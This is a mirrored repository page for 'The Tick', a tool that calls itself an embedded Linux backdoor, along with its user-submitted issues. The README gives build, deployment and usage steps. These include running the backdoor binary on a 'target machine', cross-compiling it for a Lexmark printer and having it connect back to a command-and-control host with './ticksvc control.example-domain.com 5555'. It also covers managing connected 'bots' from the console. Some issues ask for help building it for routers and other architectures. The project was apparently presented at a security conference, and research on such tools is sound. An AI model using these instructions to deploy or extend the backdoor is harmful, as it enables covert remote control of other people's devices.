Giter VIP home page Giter VIP logo

thetick's Introduction

The Tick

A simple embedded Linux backdoor.

Screenshot 1

Compiling

The Tick depends only on libcurl, so make sure you have the corresponding development package. For example on Debian based distributions you would do the following:

sudo apt-get install libcurl-dev

Once the dependencies are installed just run the makefile:

cd src
make clean
make

Once the "make" command has run to completion, the compiled binary can be found at the "bin" folder. This is the binary you want to run on your target machine to control it remotely.

When cross-compiling for supported platforms, the dependency resolution and compilation is done automatically for you. Currently the only supported cross-compiling platform is the Lexmark CX310DN printer, but more devices will be added later. Consult the makefile for more details.

The command and control console is written in Python and therefore needs not be compiled.

Installing

Obtaining persistence on the backdoor will depend heavily on the target platform, and therefore is not documented here.

On the target machine, run the backdoor binary with the following arguments:

./ticksvc ADDR PORT

Where "ADDR" and "PORT" must be replaced by the IP address and port where the command and console will be listening. The default port is 5555.

The command and control console requires no installation, but may have unresolved dependencies. Run the following command to ensure all dependencies are properly installed (note this does not need sudo):

pip install --upgrade -r requirements.txt

In most Linux desktop environments the following "Tick.desktop" file will create an icon you can double click to run the console:

[Desktop Entry]
Encoding=UTF-8
Value=1.0
Type=Application
Name=The Tick
GenericName=The Tick
Comment=An embedded Linux backdoor
Icon=/opt/thetick/doc/logo.png
Exec=/opt/thetick/tick.py
Terminal=true
Path=/opt/thetick/

The exact location for the Tick.desktop file may vary across Linux distributions but generally placing it in the desktop should work. Make sure to edit the path to wherever you downloaded The Tick (/opt/thetick in the above example).

Usage

To run the backdoor binary on the target platform, set the control server hostname and port as command line options. For example:

./ticksvc control.example-domain.com 5555

At the control server, you may want to run the console inside a GNU screen instance or similar:

sudo apt-get install screen
screen -S thetick ./thetick.py

That way you can detach from the console by pressing Control+A followed by D. You can return to the console later like this:

screen -r thetick

The console will let you know when a new bot connects to it. Use the "bots" command to show the currently connected bots, and the "use" command will select a bot to work with. The "help" command shows the user manual.

Here are a few screenshots illustrating what the console is capable of:

Screenshot 2

Screenshot 3

Media

The Tick has been referenced in the following 44Con presentation by Daniel Romero and Mario Rivas:

thetick's People

Contributors

cclauss avatar da5hes avatar mariovilas avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

thetick's Issues

Updating the readme

Great tool you have. Still finding my way round it.
A few issues i think can improve user experience.I found the Readme to be a bit high level especially for guys not very familiar with compiling files.
This are some of my suggestions.
For make clean && make to work, users must be in the src folder. Once the command has run to completion, a new folder bin will be created. This folder contains the backdoor that you will put on the target system.
After running the ./ticksvc ip.here porthere. On the control machine, type bots. This will show a listing of all bots. To connect to a bot, type use 0 where 0 is the boot number.

pull function is abnormal!!!

the func in parser.h is void parser_begin_response(Parser *parser, uint8_t status, uint16_t length);
but used as parser_begin_response(Parser *parser, uint8_t status, uint32_t length); in file.c
When the file is too large, it will cause integer overflow, resulting in abnormal pull function

GUIDE TO COMPILE FOR DIFFERENT ARCHITECTURES

Hello!!
I was looking at this awesome project, but I noticed there is no guide on how to compile a binary for a different architecture, tried reading the printer compiling bit but I am still confused.

So could you kindly provide some basic requirements required to build for different architectures, like for example a router ...

Regards,

gr00t

Compiling for 32bit from 64bit machine

The binary which is used on target machine is automatically compiled depend on the user's machine arch, I tried to play with the make file by changing cppflags and lddflags but no lock, I had to compile it in a 32bit machine to get the 32bit bin.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.